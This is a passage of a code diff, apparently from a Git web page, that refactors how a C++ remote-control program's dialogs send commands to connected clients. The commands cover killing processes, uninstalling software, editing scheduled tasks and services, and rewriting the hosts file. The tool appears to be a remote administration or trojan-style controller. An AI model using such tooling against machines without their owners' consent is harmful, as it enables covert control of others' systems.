memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
||||
DWORD dHow = SW_MAXIMIZE;
|
||||
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));
|
||||
}
|
||||
}
|
||||
break;
|
||||
@@ -1100,7 +1098,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
||||
DWORD dHow = SW_MINIMIZE;
|
||||
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));
|
||||
}
|
||||
}
|
||||
break;
|
||||
@@ -1114,7 +1112,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
||||
pid = m_list.GetItemText(nItem, 0);
|
||||
DWORD dwProcessID = _tstoi(pid);
|
||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -1129,7 +1127,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
||||
pid = m_list.GetItemText(nItem, 0);
|
||||
DWORD dwProcessID = _tstoi(pid);
|
||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -1144,7 +1142,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
||||
pid = m_list.GetItemText(nItem, 0);
|
||||
DWORD dwProcessID = _tstoi(pid);
|
||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -1201,7 +1199,7 @@ void CMachineDlg::ShowNetStateList_menu()
|
||||
lpBuffer[0] = COMMAND_PROCESS_KILL;
|
||||
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -1270,7 +1268,7 @@ void CMachineDlg::ShowSoftWareList_menu()
|
||||
LPBYTE lpBuffer = new BYTE[1 + str_a.GetLength()];
|
||||
lpBuffer[0] = COMMAND_APPUNINSTALL;
|
||||
memcpy(lpBuffer + 1, str_a.GetBuffer(0), str_a.GetLength());
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, str_a.GetLength() + 1);
|
||||
m_ContextObject->Send2Client(lpBuffer, str_a.GetLength() + 1);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -1366,7 +1364,7 @@ void CMachineDlg::ShowTaskList_menu()
|
||||
memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2);
|
||||
offset += lstrlen(taskname.GetBuffer()) * 2 + 2;
|
||||
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
|
||||
m_ContextObject->Send2Client(lpBuffer, nPacketLength);
|
||||
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
@@ -1394,7 +1392,7 @@ void CMachineDlg::ShowTaskList_menu()
|
||||
memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2);
|
||||
offset += lstrlen(taskname.GetBuffer()) * 2 + 2;
|
||||
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
|
||||
m_ContextObject->Send2Client(lpBuffer, nPacketLength);
|
||||
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
@@ -1422,7 +1420,7 @@ void CMachineDlg::ShowTaskList_menu()
|
||||
memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2);
|
||||
offset += lstrlen(taskname.GetBuffer()) * 2 + 2;
|
||||
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
|
||||
m_ContextObject->Send2Client(lpBuffer, nPacketLength);
|
||||
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
@@ -1454,7 +1452,7 @@ void CMachineDlg::ShowTaskList_menu()
|
||||
|
||||
memcpy(lpBuffer + offset, dlg->m_Description.GetBuffer(), lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2);
|
||||
offset += lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2;
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, len);
|
||||
m_ContextObject->Send2Client(lpBuffer, len);
|
||||
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
@@ -1465,7 +1463,7 @@ void CMachineDlg::ShowTaskList_menu()
|
||||
break;
|
||||
case 104: {
|
||||
BYTE bToken = COMMAND_MACHINE_TASK;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
|
||||
m_ContextObject->Send2Client(&bToken, 1);
|
||||
}
|
||||
break;
|
||||
}
|
||||
@@ -1560,7 +1558,7 @@ void CMachineDlg::ShowServiceList_menu()
|
||||
bToken = COMMAND_SERVICE_LIST_WIN32;
|
||||
else
|
||||
bToken = COMMAND_SERVICE_LIST_DRIVER;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
}
|
||||
break;
|
||||
case 700:
|
||||
@@ -1630,7 +1628,7 @@ void CMachineDlg::ShowHostsList_menu()
|
||||
LPBYTE lpBuffer = new BYTE[1 + Data_a.GetLength()];
|
||||
lpBuffer[0] = COMMAND_HOSTS_SET;
|
||||
memcpy(lpBuffer + 1, Data_a.GetBuffer(0), Data_a.GetLength());
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, Data_a.GetLength() + 1);
|
||||
m_ContextObject->Send2Client(lpBuffer, Data_a.GetLength() + 1);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
break;
|
||||
|
||||
@@ -82,7 +82,7 @@ void CServiceInfoDlg::SendToken(BYTE bToken)
|
||||
lpBuffer[0] = bToken;
|
||||
|
||||
memcpy(lpBuffer + 1, m_ServiceInfo.strSerName.GetBuffer(0), m_ServiceInfo.strSerName.GetLength());
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
|
||||
m_ContextObject->Send2Client(lpBuffer, nPacketLength);
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
|
||||
|
||||
@@ -19,7 +19,6 @@ public:
|
||||
CServiceInfoDlg(CWnd* pParent = NULL);
|
||||
|
||||
ClientContext* m_ContextObject;
|
||||
Server* m_iocpServer;
|
||||
|
||||
enum { IDD = IDD_SERVICE_INFO };
|
||||
CComboBox m_combox_runway;
|
||||
|
||||
Reference in New Issue
Block a user